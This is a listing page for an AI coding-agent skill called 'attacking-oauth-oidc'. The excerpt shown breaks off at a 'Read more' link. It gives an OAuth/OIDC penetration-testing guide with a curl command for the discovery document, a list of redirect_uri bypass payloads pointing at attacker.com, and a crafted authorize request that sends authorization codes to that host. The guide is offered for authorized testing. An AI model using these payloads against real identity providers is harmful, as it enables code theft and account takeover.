Skip to content
Security
Skill

/attacking-oauth-oidc

Attack OAuth 2.0 and OpenID Connect flows — enumerate endpoints from the OIDC discovery document, break redirect_uri validation with path traversal, open-redirect chaining, subdomain and regex weakness, and %2F/@ parser tricks, exploit missing state (callback CSRF) and absent or

BOOST
From plugin
secskills
17094 skills
Install
$ npx -y skills add trilwu/secskills --skill attacking-oauth-oidc --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/attacking-oauth-oidc

Context preview

The summary Claude sees to decide when to auto-load this skill.

Attack OAuth 2.0 and OpenID Connect flows — enumerate endpoints from the OIDC discovery document, break redirect_uri validation with path traversal, open-redirect chaining, subdomain and regex weakness, and %2F/@ parser tricks, exploit missing state (callback CSRF) and absent or

SKILL.md

attacking-oauth-oidc.SKILL.md
name: attacking-oauth-oidc
description: Attack OAuth 2.0 and OpenID Connect flows — enumerate endpoints from the OIDC discovery document, break redirect_uri validation with path traversal, open-redirect chaining, subdomain and regex weakness, and %2F/@ parser tricks, exploit missing state (callback CSRF) and absent or downgraded PKCE, steal codes and tokens via open redirectors and referer leakage, replay and inject authorization codes across clients, escalate scope and bypass consent, confuse access_token with id_token, and take over accounts through "Sign in with X" email trust and device-code consent phishing. Use when you see /authorize, /oauth/token, response_type, redirect_uri, client_id, code= or state= parameters, a "Sign in with Google/Microsoft/GitHub" button, or an OIDC discovery document at /.well-known/openid-configuration.
verified: 2026-07-26

Attacking OAuth and OIDC

OAuth is a delegation protocol whose security lives entirely in parameters the browser forwards — `redirect_uri`, `state`, and `scope` — so most breaks are the authorization server or the client trusting one of those a little too much. The token is the prize; the flow is the attack surface. Follow the redirect that carries the code, and you follow the credential.

Only against systems you are authorized to test.

When to Use

  • A login page offers "Sign in with Google / Microsoft / GitHub / Apple" or any

federated identity button

  • You see `/authorize`, `/oauth/token`, `/oauth2/authorize`, or a callback URL

carrying `code=`, `state=`, or `#access_token=`

  • Requests contain `response_type`, `redirect_uri`, `client_id`, `scope`, or

`nonce`

  • An OIDC discovery document is served at `/.well-known/openid-configuration`
  • The app exchanges an authorization code server-side for tokens, or accepts an

`id_token` to establish a session

  • A first-party SPA or mobile app runs the authorization-code-with-PKCE flow

When NOT to Use

  • **Forging, cracking, or tampering with the issued token itself** (alg confusion,

`kid` injection, weak HMAC secret, `none`) — use `attacking-jwt`

  • **General web application testing** unrelated to the auth flow — use

`testing-web-applications`

  • **The resource API after you already hold a valid access token** — use

`testing-apis`

  • **Entra/Azure AD tenant consent, app registration abuse, and multi-tenant app

attacks specifically** — use `attacking-entra-id`

  • **The human side — running consent-phishing or illicit-grant campaigns at

scale against real users** — use `performing-social-engineering`

Enumerate the Server: Discovery Document First

The OIDC discovery document hands you the entire attack map — every endpoint, the supported flows, and the key set.

curl -s https://target/.well-known/openid-configuration | jq .
# Also try, per-tenant / per-realm:
#   https://target/.well-known/oauth-authorization-server
#   https://login.target/<tenant>/v2.0/.well-known/openid-configuration
#   https://target/auth/realms/<realm>/.well-known/openid-configuration   (Keycloak)

Read these fields specifically:

  • `authorization_endpoint`, `token_endpoint`, `userinfo_endpoint` — the flow
  • `jwks_uri` — the keys that validate `id_token`s (feeds `attacking-jwt`)
  • `response_types_supported` — is `token` or `id_token token` (implicit)

allowed? Is `code` the only option, or can you downgrade?

  • `grant_types_supported` — is `implicit`, `password`, or

`urn:ietf:params:oauth:grant-type:device_code` present?

  • `code_challenge_methods_supported` — if absent, PKCE may not be enforced
  • `scopes_supported`, `claims_supported` — the escalation menu

Pull the client bundle too: SPA JavaScript almost always inlines the `client_id`, the configured `redirect_uri`, and the scope list.

redirect_uri Validation: The Core Break

Everything hinges on where the authorization server is willing to send the code. If you can make it send the code to a host you control, the flow is over. Work through the validation weaknesses — a permissive registration or a prefix/substring match instead of an exact match is the standard finding.

Registered: https://app.example.com/callback

Path traversal / appended path (prefix match, not exact)
  https://app.example.com/callback/../../attacker
  https://app.example.com/callback/anything          (allowed if it startswith-checks)
  https://app.example.com/callback.attacker.com/

Subdomain / domain-suffix weakness (regex or "endswith" match)
  https://attacker.app.example.com/callback
  https://app.example.com.attacker.com/callback
  https://appXexample.com/callback                    (unescaped . in regex)

Parser confusion — validator and browser disagree on the host
  https://attacker.com\@app.example.com/callback
  https://app.example.com@attacker.com/callback
  https://attacker.com%2F@app.example.com/
  https://attacker.com#@app.example.com/
  https://attacker.com%23.app.example.com/

Scheme / userinfo / whitespace
  http://app.example.com/callback                     (downgrade to plaintext)
  https://app.example.com%00.attacker.com/callback
  ///attacker.com/callback   //attacker.com/callback

localhost is frequently allow-listed with no port check
  http://localhost:1337/callback   http://127.0.0.1/callback
  http://localhost.attacker.com/callback

An authorize request pointing the code at your host:

GET /authorize?response_type=code
    &client_id=REAL_CLIENT_ID
    &redirect_uri=https://attacker.com/callback
    &scope=openid%20email%20profile
    &state=xyz HTTP/1.1
Host: login.target

If that returns a code to `attacker.com`, you exchange it (or the victim's browser delivers theirs). Also test **each place `redirect_uri` is read** — the authorize request, the token exchange, and any stored per-client default — because some servers validate strictly at `/authorize` and loosely at `/token`, or vice versa.

Open Redirector as Exfil Channel

When `redirect_uri` must stay on the real domain, an open redirect *on t

Read more
Ships withsecskills

**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

Get the whole plugin

Other skills on secskills.